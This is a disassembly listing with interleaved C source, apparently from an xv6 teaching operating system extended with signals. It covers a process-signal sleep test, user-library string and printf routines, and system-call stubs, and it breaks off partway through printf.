daf: 6a 00 push $0x0
db1: e8 4a 05 00 00 call 1300 <printf>
kill_self_test(4);
db6: c7 04 24 04 00 00 00 movl $0x4,(%esp)
dbd: e8 ee f9 ff ff call 7b0 <kill_self_test>
sleep(1250);
dc2: c7 04 24 e2 04 00 00 movl $0x4e2,(%esp)
dc9: e8 64 04 00 00 call 1232 <sleep>
dce: 83 c4 10 add $0x10,%esp
dd1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
printf(0,"Process 1 should have been killed already!\n");
dd8: 83 ec 08 sub $0x8,%esp
ddb: 68 c4 1b 00 00 push $0x1bc4
de0: 6a 00 push $0x0
de2: e8 19 05 00 00 call 1300 <printf>
sleep(100);
de7: c7 04 24 64 00 00 00 movl $0x64,(%esp)
dee: e8 3f 04 00 00 call 1232 <sleep>
df3: 83 c4 10 add $0x10,%esp
df6: eb e0 jmp dd8 <sleepTest+0x78>
if((child_pid[1]=fork()) == 0)
df8: e8 9d 03 00 00 call 119a <fork>
dfd: 85 c0 test %eax,%eax
dff: 75 3d jne e3e <sleepTest+0xde>
printf(0,"Starting Loop\n");
e01: 51 push %ecx
e02: 51 push %ecx
e03: 68 5a 1d 00 00 push $0x1d5a
e08: 6a 00 push $0x0
e0a: e8 f1 04 00 00 call 1300 <printf>
e0f: 83 c4 10 add $0x10,%esp
e12: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
printf(0,"pid - %d child two\n",getpid());
e18: e8 05 04 00 00 call 1222 <getpid>
e1d: 83 ec 04 sub $0x4,%esp
e20: 50 push %eax
e21: 68 69 1d 00 00 push $0x1d69
e26: 6a 00 push $0x0
e28: e8 d3 04 00 00 call 1300 <printf>
sleep(50);
e2d: c7 04 24 32 00 00 00 movl $0x32,(%esp)
e34: e8 f9 03 00 00 call 1232 <sleep>
e39: 83 c4 10 add $0x10,%esp
e3c: eb da jmp e18 <sleepTest+0xb8>
if((child_pid[2]=fork()) == 0)
e3e: e8 57 03 00 00 call 119a <fork>
e43: 85 c0 test %eax,%eax
e45: 74 37 je e7e <sleepTest+0x11e>
if((child_pid[3]=fork()) == 0)
e47: e8 4e 03 00 00 call 119a <fork>
e4c: 85 c0 test %eax,%eax
e4e: 0f 84 f3 00 00 00 je f47 <sleepTest+0x1e7>
wait();
e54: e8 51 03 00 00 call 11aa <wait>
wait();
e59: e8 4c 03 00 00 call 11aa <wait>
wait();
e5e: e8 47 03 00 00 call 11aa <wait>
wait();
e63: e8 42 03 00 00 call 11aa <wait>
printf(0,"parent\n");
e68: 50 push %eax
e69: 50 push %eax
e6a: 68 9a 1d 00 00 push $0x1d9a
e6f: 6a 00 push $0x0
e71: e8 8a 04 00 00 call 1300 <printf>
return;
e76: 83 c4 10 add $0x10,%esp
}
e79: 8b 5d fc mov -0x4(%ebp),%ebx
e7c: c9 leave
e7d: c3 ret
sleep(25);
e7e: 83 ec 0c sub $0xc,%esp
e81: 6a 19 push $0x19
e83: e8 aa 03 00 00 call 1232 <sleep>
printf(0,"Run SigSTOP Second Child\n");
e88: 5a pop %edx
e89: 59 pop %ecx
e8a: 68 ee 1d 00 00 push $0x1dee
e8f: 6a 00 push $0x0
e91: e8 6a 04 00 00 call 1300 <printf>
printf(0, "@@@@@1\n");
e96: 5b pop %ebx
e97: 58 pop %eax
e98: 68 08 1e 00 00 push $0x1e08
e9d: 6a 00 push $0x0
e9f: e8 5c 04 00 00 call 1300 <printf>
sleep(20);
ea4: c7 04 24 14 00 00 00 movl $0x14,(%esp)
eab: e8 82 03 00 00 call 1232 <sleep>
printf(0, "@@@@@2\n");
eb0: 58 pop %eax
eb1: 5a pop %edx
eb2: 68 10 1e 00 00 push $0x1e10
eb7: 6a 00 push $0x0
eb9: e8 42 04 00 00 call 1300 <printf>
printf(0,"Send SIGCONT child two\n");
ebe: 59 pop %ecx
ebf: 5b pop %ebx
ec0: 68 18 1e 00 00 push $0x1e18
ec5: 6a 00 push $0x0
ec7: e8 34 04 00 00 call 1300 <printf>
sleep(20);
ecc: c7 04 24 14 00 00 00 movl $0x14,(%esp)
ed3: e8 5a 03 00 00 call 1232 <sleep>
printf(0,"Send SIGSTOP child2 AGAIN\n");
ed8: 58 pop %eax
ed9: 5a pop %edx
eda: 68 30 1e 00 00 push $0x1e30
edf: 6a 00 push $0x0
ee1: e8 1a 04 00 00 call 1300 <printf>
printf(0, "@@@@@1\n");
ee6: 59 pop %ecx
ee7: 5b pop %ebx
ee8: 68 08 1e 00 00 push $0x1e08
eed: 6a 00 push $0x0
eef: e8 0c 04 00 00 call 1300 <printf>
sleep(20);
ef4: c7 04 24 14 00 00 00 movl $0x14,(%esp)
efb: e8 32 03 00 00 call 1232 <sleep>
printf(0, "@@@@@2\n");
f00: 58 pop %eax
f01: 5a pop %edx
f02: 68 10 1e 00 00 push $0x1e10
f07: 6a 00 push $0x0
f09: e8 f2 03 00 00 call 1300 <printf>
printf(0,"Send SIGKILL to child2\n");
f0e: 59 pop %ecx
f0f: 5b pop %ebx
f10: 68 4b 1e 00 00 push $0x1e4b
f15: 6a 00 push $0x0
f17: e8 e4 03 00 00 call 1300 <printf>
sleep(40);
f1c: c7 04 24 28 00 00 00 movl $0x28,(%esp)
f23: e8 0a 03 00 00 call 1232 <sleep>
printf(0,"Send SIGCONT to child2\n");
f28: 58 pop %eax
f29: 5a pop %edx
f2a: 68 63 1e 00 00 push $0x1e63
f2f: 6a 00 push $0x0
f31: e8 ca 03 00 00 call 1300 <printf>
sleep(45);
f36: c7 04 24 2d 00 00 00 movl $0x2d,(%esp)
f3d: e8 f0 02 00 00 call 1232 <sleep>
exit();
f42: e8 5b 02 00 00 call 11a2 <exit>
exit();
f47: e8 56 02 00 00 call 11a2 <exit>
f4c: 66 90 xchg %ax,%ax
f4e: 66 90 xchg %ax,%ax
00000f50 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
f50: 55 push %ebp
f51: 89 e5 mov %esp,%ebp
f53: 53 push %ebx
f54: 8b 45 08 mov 0x8(%ebp),%eax
f57: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
f5a: 89 c2 mov %eax,%edx
f5c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
f60: 83 c1 01 add $0x1,%ecx
f63: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
f67: 83 c2 01 add $0x1,%edx
f6a: 84 db test %bl,%bl
f6c: 88 5a ff mov %bl,-0x1(%edx)
f6f: 75 ef jne f60 <strcpy+0x10>
;
return os;
}
f71: 5b pop %ebx
f72: 5d pop %ebp
f73: c3 ret
f74: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
f7a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000f80 <strcmp>:
int
strcmp(const char *p, const char *q)
{
f80: 55 push %ebp
f81: 89 e5 mov %esp,%ebp
f83: 53 push %ebx
f84: 8b 55 08 mov 0x8(%ebp),%edx
f87: 8b 4d 0c mov 0xc(%ebp),%ecx
while(*p && *p == *q)
f8a: 0f b6 02 movzbl (%edx),%eax
f8d: 0f b6 19 movzbl (%ecx),%ebx
f90: 84 c0 test %al,%al
f92: 75 1c jne fb0 <strcmp+0x30>
f94: eb 2a jmp fc0 <strcmp+0x40>
f96: 8d 76 00 lea 0x0(%esi),%esi
f99: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p++, q++;
fa0: 83 c2 01 add $0x1,%edx
while(*p && *p == *q)
fa3: 0f b6 02 movzbl (%edx),%eax
p++, q++;
fa6: 83 c1 01 add $0x1,%ecx
fa9: 0f b6 19 movzbl (%ecx),%ebx
while(*p && *p == *q)
fac: 84 c0 test %al,%al
fae: 74 10 je fc0 <strcmp+0x40>
fb0: 38 d8 cmp %bl,%al
fb2: 74 ec je fa0 <strcmp+0x20>
return (uchar)*p - (uchar)*q;
fb4: 29 d8 sub %ebx,%eax
}
fb6: 5b pop %ebx
fb7: 5d pop %ebp
fb8: c3 ret
fb9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
fc0: 31 c0 xor %eax,%eax
return (uchar)*p - (uchar)*q;
fc2: 29 d8 sub %ebx,%eax
}
fc4: 5b pop %ebx
fc5: 5d pop %ebp
fc6: c3 ret
fc7: 89 f6 mov %esi,%esi
fc9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000fd0 <strlen>:
uint
strlen(const char *s)
{
fd0: 55 push %ebp
fd1: 89 e5 mov %esp,%ebp
fd3: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
fd6: 80 39 00 cmpb $0x0,(%ecx)
fd9: 74 15 je ff0 <strlen+0x20>
fdb: 31 d2 xor %edx,%edx
fdd: 8d 76 00 lea 0x0(%esi),%esi
fe0: 83 c2 01 add $0x1,%edx
fe3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
fe7: 89 d0 mov %edx,%eax
fe9: 75 f5 jne fe0 <strlen+0x10>
;
return n;
}
feb: 5d pop %ebp
fec: c3 ret
fed: 8d 76 00 lea 0x0(%esi),%esi
for(n = 0; s[n]; n++)
ff0: 31 c0 xor %eax,%eax
}
ff2: 5d pop %ebp
ff3: c3 ret
ff4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
ffa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00001000 <memset>:
void*
memset(void *dst, int c, uint n)
{
1000: 55 push %ebp
1001: 89 e5 mov %esp,%ebp
1003: 57 push %edi
1004: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
1007: 8b 4d 10 mov 0x10(%ebp),%ecx
100a: 8b 45 0c mov 0xc(%ebp),%eax
100d: 89 d7 mov %edx,%edi
100f: fc cld
1010: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
1012: 89 d0 mov %edx,%eax
1014: 5f pop %edi
1015: 5d pop %ebp
1016: c3 ret
1017: 89 f6 mov %esi,%esi
1019: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00001020 <strchr>:
char*
strchr(const char *s, char c)
{
1020: 55 push %ebp
1021: 89 e5 mov %esp,%ebp
1023: 53 push %ebx
1024: 8b 45 08 mov 0x8(%ebp),%eax
1027: 8b 5d 0c mov 0xc(%ebp),%ebx
for(; *s; s++)
102a: 0f b6 10 movzbl (%eax),%edx
102d: 84 d2 test %dl,%dl
102f: 74 1d je 104e <strchr+0x2e>
if(*s == c)
1031: 38 d3 cmp %dl,%bl
1033: 89 d9 mov %ebx,%ecx
1035: 75 0d jne 1044 <strchr+0x24>
1037: eb 17 jmp 1050 <strchr+0x30>
1039: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
1040: 38 ca cmp %cl,%dl
1042: 74 0c je 1050 <strchr+0x30>
for(; *s; s++)
1044: 83 c0 01 add $0x1,%eax
1047: 0f b6 10 movzbl (%eax),%edx
104a: 84 d2 test %dl,%dl
104c: 75 f2 jne 1040 <strchr+0x20>
return (char*)s;
return 0;
104e: 31 c0 xor %eax,%eax
}
1050: 5b pop %ebx
1051: 5d pop %ebp
1052: c3 ret
1053: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
1059: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00001060 <gets>:
char*
gets(char *buf, int max)
{
1060: 55 push %ebp
1061: 89 e5 mov %esp,%ebp
1063: 57 push %edi
1064: 56 push %esi
1065: 53 push %ebx
int i, cc;
char c;
for(i=0; i+1 < max; ){
1066: 31 f6 xor %esi,%esi
1068: 89 f3 mov %esi,%ebx
{
106a: 83 ec 1c sub $0x1c,%esp
106d: 8b 7d 08 mov 0x8(%ebp),%edi
for(i=0; i+1 < max; ){
1070: eb 2f jmp 10a1 <gets+0x41>
1072: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
cc = read(0, &c, 1);
1078: 8d 45 e7 lea -0x19(%ebp),%eax
107b: 83 ec 04 sub $0x4,%esp
107e: 6a 01 push $0x1
1080: 50 push %eax
1081: 6a 00 push $0x0
1083: e8 32 01 00 00 call 11ba <read>
if(cc < 1)
1088: 83 c4 10 add $0x10,%esp
108b: 85 c0 test %eax,%eax
108d: 7e 1c jle 10ab <gets+0x4b>
break;
buf[i++] = c;
108f: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
1093: 83 c7 01 add $0x1,%edi
1096: 88 47 ff mov %al,-0x1(%edi)
if(c == '\n' || c == '\r')
1099: 3c 0a cmp $0xa,%al
109b: 74 23 je 10c0 <gets+0x60>
109d: 3c 0d cmp $0xd,%al
109f: 74 1f je 10c0 <gets+0x60>
for(i=0; i+1 < max; ){
10a1: 83 c3 01 add $0x1,%ebx
10a4: 3b 5d 0c cmp 0xc(%ebp),%ebx
10a7: 89 fe mov %edi,%esi
10a9: 7c cd jl 1078 <gets+0x18>
10ab: 89 f3 mov %esi,%ebx
break;
}
buf[i] = '\0';
return buf;
}
10ad: 8b 45 08 mov 0x8(%ebp),%eax
buf[i] = '\0';
10b0: c6 03 00 movb $0x0,(%ebx)
}
10b3: 8d 65 f4 lea -0xc(%ebp),%esp
10b6: 5b pop %ebx
10b7: 5e pop %esi
10b8: 5f pop %edi
10b9: 5d pop %ebp
10ba: c3 ret
10bb: 90 nop
10bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
10c0: 8b 75 08 mov 0x8(%ebp),%esi
10c3: 8b 45 08 mov 0x8(%ebp),%eax
10c6: 01 de add %ebx,%esi
10c8: 89 f3 mov %esi,%ebx
buf[i] = '\0';
10ca: c6 03 00 movb $0x0,(%ebx)
}
10cd: 8d 65 f4 lea -0xc(%ebp),%esp
10d0: 5b pop %ebx
10d1: 5e pop %esi
10d2: 5f pop %edi
10d3: 5d pop %ebp
10d4: c3 ret
10d5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
10d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000010e0 <stat>:
int
stat(const char *n, struct stat *st)
{
10e0: 55 push %ebp
10e1: 89 e5 mov %esp,%ebp
10e3: 56 push %esi
10e4: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
10e5: 83 ec 08 sub $0x8,%esp
10e8: 6a 00 push $0x0
10ea: ff 75 08 pushl 0x8(%ebp)
10ed: e8 f0 00 00 00 call 11e2 <open>
if(fd < 0)
10f2: 83 c4 10 add $0x10,%esp
10f5: 85 c0 test %eax,%eax
10f7: 78 27 js 1120 <stat+0x40>
return -1;
r = fstat(fd, st);
10f9: 83 ec 08 sub $0x8,%esp
10fc: ff 75 0c pushl 0xc(%ebp)
10ff: 89 c3 mov %eax,%ebx
1101: 50 push %eax
1102: e8 f3 00 00 00 call 11fa <fstat>
close(fd);
1107: 89 1c 24 mov %ebx,(%esp)
r = fstat(fd, st);
110a: 89 c6 mov %eax,%esi
close(fd);
110c: e8 b9 00 00 00 call 11ca <close>
return r;
1111: 83 c4 10 add $0x10,%esp
}
1114: 8d 65 f8 lea -0x8(%ebp),%esp
1117: 89 f0 mov %esi,%eax
1119: 5b pop %ebx
111a: 5e pop %esi
111b: 5d pop %ebp
111c: c3 ret
111d: 8d 76 00 lea 0x0(%esi),%esi
return -1;
1120: be ff ff ff ff mov $0xffffffff,%esi
1125: eb ed jmp 1114 <stat+0x34>
1127: 89 f6 mov %esi,%esi
1129: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00001130 <atoi>:
int
atoi(const char *s)
{
1130: 55 push %ebp
1131: 89 e5 mov %esp,%ebp
1133: 53 push %ebx
1134: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
while('0' <= *s && *s <= '9')
1137: 0f be 11 movsbl (%ecx),%edx
113a: 8d 42 d0 lea -0x30(%edx),%eax
113d: 3c 09 cmp $0x9,%al
n = 0;
113f: b8 00 00 00 00 mov $0x0,%eax
while('0' <= *s && *s <= '9')
1144: 77 1f ja 1165 <atoi+0x35>
1146: 8d 76 00 lea 0x0(%esi),%esi
1149: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
n = n*10 + *s++ - '0';
1150: 8d 04 80 lea (%eax,%eax,4),%eax
1153: 83 c1 01 add $0x1,%ecx
1156: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
while('0' <= *s && *s <= '9')
115a: 0f be 11 movsbl (%ecx),%edx
115d: 8d 5a d0 lea -0x30(%edx),%ebx
1160: 80 fb 09 cmp $0x9,%bl
1163: 76 eb jbe 1150 <atoi+0x20>
return n;
}
1165: 5b pop %ebx
1166: 5d pop %ebp
1167: c3 ret
1168: 90 nop
1169: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00001170 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
1170: 55 push %ebp
1171: 89 e5 mov %esp,%ebp
1173: 56 push %esi
1174: 53 push %ebx
1175: 8b 5d 10 mov 0x10(%ebp),%ebx
1178: 8b 45 08 mov 0x8(%ebp),%eax
117b: 8b 75 0c mov 0xc(%ebp),%esi
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
117e: 85 db test %ebx,%ebx
1180: 7e 14 jle 1196 <memmove+0x26>
1182: 31 d2 xor %edx,%edx
1184: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*dst++ = *src++;
1188: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
118c: 88 0c 10 mov %cl,(%eax,%edx,1)
118f: 83 c2 01 add $0x1,%edx
while(n-- > 0)
1192: 39 d3 cmp %edx,%ebx
1194: 75 f2 jne 1188 <memmove+0x18>
return vdst;
}
1196: 5b pop %ebx
1197: 5e pop %esi
1198: 5d pop %ebp
1199: c3 ret
0000119a <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
119a: b8 01 00 00 00 mov $0x1,%eax
119f: cd 40 int $0x40
11a1: c3 ret
000011a2 <exit>:
SYSCALL(exit)
11a2: b8 02 00 00 00 mov $0x2,%eax
11a7: cd 40 int $0x40
11a9: c3 ret
000011aa <wait>:
SYSCALL(wait)
11aa: b8 03 00 00 00 mov $0x3,%eax
11af: cd 40 int $0x40
11b1: c3 ret
000011b2 <pipe>:
SYSCALL(pipe)
11b2: b8 04 00 00 00 mov $0x4,%eax
11b7: cd 40 int $0x40
11b9: c3 ret
000011ba <read>:
SYSCALL(read)
11ba: b8 05 00 00 00 mov $0x5,%eax
11bf: cd 40 int $0x40
11c1: c3 ret
000011c2 <write>:
SYSCALL(write)
11c2: b8 10 00 00 00 mov $0x10,%eax
11c7: cd 40 int $0x40
11c9: c3 ret
000011ca <close>:
SYSCALL(close)
11ca: b8 15 00 00 00 mov $0x15,%eax
11cf: cd 40 int $0x40
11d1: c3 ret
000011d2 <kill>:
SYSCALL(kill)
11d2: b8 06 00 00 00 mov $0x6,%eax
11d7: cd 40 int $0x40
11d9: c3 ret
000011da <exec>:
SYSCALL(exec)
11da: b8 07 00 00 00 mov $0x7,%eax
11df: cd 40 int $0x40
11e1: c3 ret
000011e2 <open>:
SYSCALL(open)
11e2: b8 0f 00 00 00 mov $0xf,%eax
11e7: cd 40 int $0x40
11e9: c3 ret
000011ea <mknod>:
SYSCALL(mknod)
11ea: b8 11 00 00 00 mov $0x11,%eax
11ef: cd 40 int $0x40
11f1: c3 ret
000011f2 <unlink>:
SYSCALL(unlink)
11f2: b8 12 00 00 00 mov $0x12,%eax
11f7: cd 40 int $0x40
11f9: c3 ret
000011fa <fstat>:
SYSCALL(fstat)
11fa: b8 08 00 00 00 mov $0x8,%eax
11ff: cd 40 int $0x40
1201: c3 ret
00001202 <link>:
SYSCALL(link)
1202: b8 13 00 00 00 mov $0x13,%eax
1207: cd 40 int $0x40
1209: c3 ret
0000120a <mkdir>:
SYSCALL(mkdir)
120a: b8 14 00 00 00 mov $0x14,%eax
120f: cd 40 int $0x40
1211: c3 ret
00001212 <chdir>:
SYSCALL(chdir)
1212: b8 09 00 00 00 mov $0x9,%eax
1217: cd 40 int $0x40
1219: c3 ret
0000121a <dup>:
SYSCALL(dup)
121a: b8 0a 00 00 00 mov $0xa,%eax
121f: cd 40 int $0x40
1221: c3 ret
00001222 <getpid>:
SYSCALL(getpid)
1222: b8 0b 00 00 00 mov $0xb,%eax
1227: cd 40 int $0x40
1229: c3 ret
0000122a <sbrk>:
SYSCALL(sbrk)
122a: b8 0c 00 00 00 mov $0xc,%eax
122f: cd 40 int $0x40
1231: c3 ret
00001232 <sleep>:
SYSCALL(sleep)
1232: b8 0d 00 00 00 mov $0xd,%eax
1237: cd 40 int $0x40
1239: c3 ret
0000123a <uptime>:
SYSCALL(uptime)
123a: b8 0e 00 00 00 mov $0xe,%eax
123f: cd 40 int $0x40
1241: c3 ret
00001242 <sigprocmask>:
SYSCALL(sigprocmask)
1242: b8 16 00 00 00 mov $0x16,%eax
1247: cd 40 int $0x40
1249: c3 ret
0000124a <sigaction>:
SYSCALL(sigaction)
124a: b8 17 00 00 00 mov $0x17,%eax
124f: cd 40 int $0x40
1251: c3 ret
00001252 <sigret>:
SYSCALL(sigret)
1252: b8 18 00 00 00 mov $0x18,%eax
1257: cd 40 int $0x40
1259: c3 ret
125a: 66 90 xchg %ax,%ax
125c: 66 90 xchg %ax,%ax
125e: 66 90 xchg %ax,%ax
00001260 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
1260: 55 push %ebp
1261: 89 e5 mov %esp,%ebp
1263: 57 push %edi
1264: 56 push %esi
1265: 53 push %ebx
1266: 83 ec 3c sub $0x3c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
1269: 85 d2 test %edx,%edx
{
126b: 89 45 c0 mov %eax,-0x40(%ebp)
neg = 1;
x = -xx;
126e: 89 d0 mov %edx,%eax
if(sgn && xx < 0){
1270: 79 76 jns 12e8 <printint+0x88>
1272: f6 45 08 01 testb $0x1,0x8(%ebp)
1276: 74 70 je 12e8 <printint+0x88>
x = -xx;
1278: f7 d8 neg %eax
neg = 1;
127a: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
} else {
x = xx;
}
i = 0;
1281: 31 f6 xor %esi,%esi
1283: 8d 5d d7 lea -0x29(%ebp),%ebx
1286: eb 0a jmp 1292 <printint+0x32>
1288: 90 nop
1289: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
do{
buf[i++] = digits[x % base];
1290: 89 fe mov %edi,%esi
1292: 31 d2 xor %edx,%edx
1294: 8d 7e 01 lea 0x1(%esi),%edi
1297: f7 f1 div %ecx
1299: 0f b6 92 90 1e 00 00 movzbl 0x1e90(%edx),%edx
}while((x /= base) != 0);
12a0: 85 c0 test %eax,%eax
buf[i++] = digits[x % base];
12a2: 88 14 3b mov %dl,(%ebx,%edi,1)
}while((x /= base) != 0);
12a5: 75 e9 jne 1290 <printint+0x30>
if(neg)
12a7: 8b 45 c4 mov -0x3c(%ebp),%eax
12aa: 85 c0 test %eax,%eax
12ac: 74 08 je 12b6 <printint+0x56>
buf[i++] = '-';
12ae: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1)
12b3: 8d 7e 02 lea 0x2(%esi),%edi
12b6: 8d 74 3d d7 lea -0x29(%ebp,%edi,1),%esi
12ba: 8b 7d c0 mov -0x40(%ebp),%edi
12bd: 8d 76 00 lea 0x0(%esi),%esi
12c0: 0f b6 06 movzbl (%esi),%eax
write(fd, &c, 1);
12c3: 83 ec 04 sub $0x4,%esp
12c6: 83 ee 01 sub $0x1,%esi
12c9: 6a 01 push $0x1
12cb: 53 push %ebx
12cc: 57 push %edi
12cd: 88 45 d7 mov %al,-0x29(%ebp)
12d0: e8 ed fe ff ff call 11c2 <write>
while(--i >= 0)
12d5: 83 c4 10 add $0x10,%esp
12d8: 39 de cmp %ebx,%esi
12da: 75 e4 jne 12c0 <printint+0x60>
putc(fd, buf[i]);
}
12dc: 8d 65 f4 lea -0xc(%ebp),%esp
12df: 5b pop %ebx
12e0: 5e pop %esi
12e1: 5f pop %edi
12e2: 5d pop %ebp
12e3: c3 ret
12e4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
12e8: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
12ef: eb 90 jmp 1281 <printint+0x21>
12f1: eb 0d jmp 1300 <printf>
12f3: 90 nop
12f4: 90 nop
12f5: 90 nop
12f6: 90 nop
12f7: 90 nop
12f8: 90 nop
12f9: 90 nop
12fa: 90 nop
12fb: 90 nop
12fc: 90 nop
12fd: 90 nop
12fe: 90 nop
12ff: 90 nop
00001300 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
1300: 55 push %ebp
1301: 89 e5 mov %esp,%ebp
1303: 57 push %edi
1304: 56 push %esi
1305: 53 push %ebx
1306: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
1309: 8b 75 0c mov 0xc(%ebp),%esi
130c: 0f b6 1e movzbl (%esi),%ebx
130f: 84 db test %bl,%bl
1311: 0f 84 b3 00 00 00 je 13ca <printf+0xca>
ap = (uint*)(void*)&fmt + 1;
1317: 8d 45 10 lea 0x10(%ebp),%eax
131a: 83 c6 01 add $0x1,%esi
state = 0;
131d: 31 ff xor %edi,%edi
ap = (uint*)(void*)&fmt + 1;
131f: 89 45 d4 mov %eax,-0x2c(%ebp)
1322: eb 2f jmp 1353 <printf+0x53>
1324: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
1328: 83 f8 25 cmp $0x25,%eax
132b: 0f 84 a7 00 00 00 je 13d8 <printf+0xd8>
write(fd, &c, 1);
1331: 8d 45 e2 lea -0x1e(%ebp),%eax
1334: 83 ec 04 sub $0x4,%esp
1337: 88 5d e2 mov %bl,-0x1e(%ebp)
133a: 6a 01 push $0x1
133c: 50 push %eax
133d: ff 75 08 pushl 0x8(%ebp)
1340: e8 7d fe ff ff call 11c2 <write>
1345: 83 c4 10 add $0x10,%esp
1348: 83 c6 01 add $0x1,%esi
for(i = 0; fmt[i]; i++){
134b: 0f b6 5e ff movzbl -0x1(%esi),%ebx
134f: 84 db test %bl,%bl
1351: 74 77 je 13ca <printf+0xca>
if(state == 0){
1353: 85 ff test %edi,%edi
c = fmt[i] & 0xff;
1355: 0f be cb movsbl %bl,%ecx
1358: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
135b: 74 cb je 1328 <printf+0x28>
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
135d: 83 ff 25 cmp $0x25,%edi
1360: 75 e6 jne 1348 <printf+0x48>
if(c == 'd'){
1362: 83 f8 64 cmp $0x64,%eax
1365: 0f 84 05 01 00 00 je 1470 <printf+0x170>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
136b: 81 e1 f7 00 00 00 and $0xf7,%ecx
1371: 83 f9 70 cmp $0x70,%ecx
1374: 74 72 je 13e8 <printf+0xe8>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
1376: 83 f8 73 cmp $0x73,%eax
1379: 0f 84 99 00 00 00 je 1418 <printf+0x118>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
137f: 83 f8 63 cmp $0x63,%eax
1382: 0f 84 08 01 00 00 je 1490 <printf+0x190>
putc(fd, *ap);
ap++;
} else if(c == '%'){
1388: 83 f8 25 cmp $0x25,%eax
138b: 0f 84 ef 00 00 00 je 1480 <printf+0x180>
write(fd, &c, 1);
1391: 8d 45 e7 lea -0x19(%ebp),%eax
1394: 83 ec 04 sub $0x4,%esp
1397: c6 45 e7 25 movb $0x25,-0x19(%ebp)
139b: 6a 01 push $0x1
139d: 50 push %eax
139e: ff 75 08 pushl 0x8(%ebp)
13a1: e8 1c fe ff ff call 11c2 <write>
13a6: 83 c4 0c add $0xc,%esp
13a9: 8d 45 e6 lea -0x1a(%ebp),%eax
13ac: 88 5d e6 mov %bl,-0x1a(%ebp)
13af: 6a 01 push $0x1
13b1: 50 push %eax
13b2: ff 75 08 pushl 0x8(%ebp)
13b5: 83 c6 01 add $0x1,%esi
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
13b8: 31 ff xor %edi,%edi
write(fd, &c, 1);
13ba: e8 03 fe ff ff call 11c2 <write>
for(i = 0; fmt[i]; i++){
13bf: 0f b6 5e ff movzbl -0x1(%esi),%ebx
write(fd, &c, 1);
13c3: 83 c4 10 add $0x10,%esp
for(i = 0; fmt[i]; i++){
13c6: 84 db test %bl,%bl
13c8: 75 89 jne 1353 <printf+0x53>
}
}
}
13ca: 8d 65 f4 lea -0xc(%ebp),%esp
13cd: 5b pop %ebx
13ce: 5e pop %esi
13cf: 5f pop %edi
13d0: 5d pop %ebp
13d1: c3 ret
13d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
state = '%';
13d8: bf 25 00 00 00 mov $0x25,%edi
13dd: e9 66 ff ff ff jmp 1348 <printf+0x48>
13e2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
printint(fd, *ap, 16, 0);
13e8: 83 ec 0c sub $0xc,%esp
13eb: b9 10 00 00 00 mov $0x10,%ecx
13f0: 6a 00 push $0x0
13f2: 8b 7d d4 mov -0x2c(%ebp),%edi
13f5: 8b 45 08 mov 0x8(%ebp),%eax
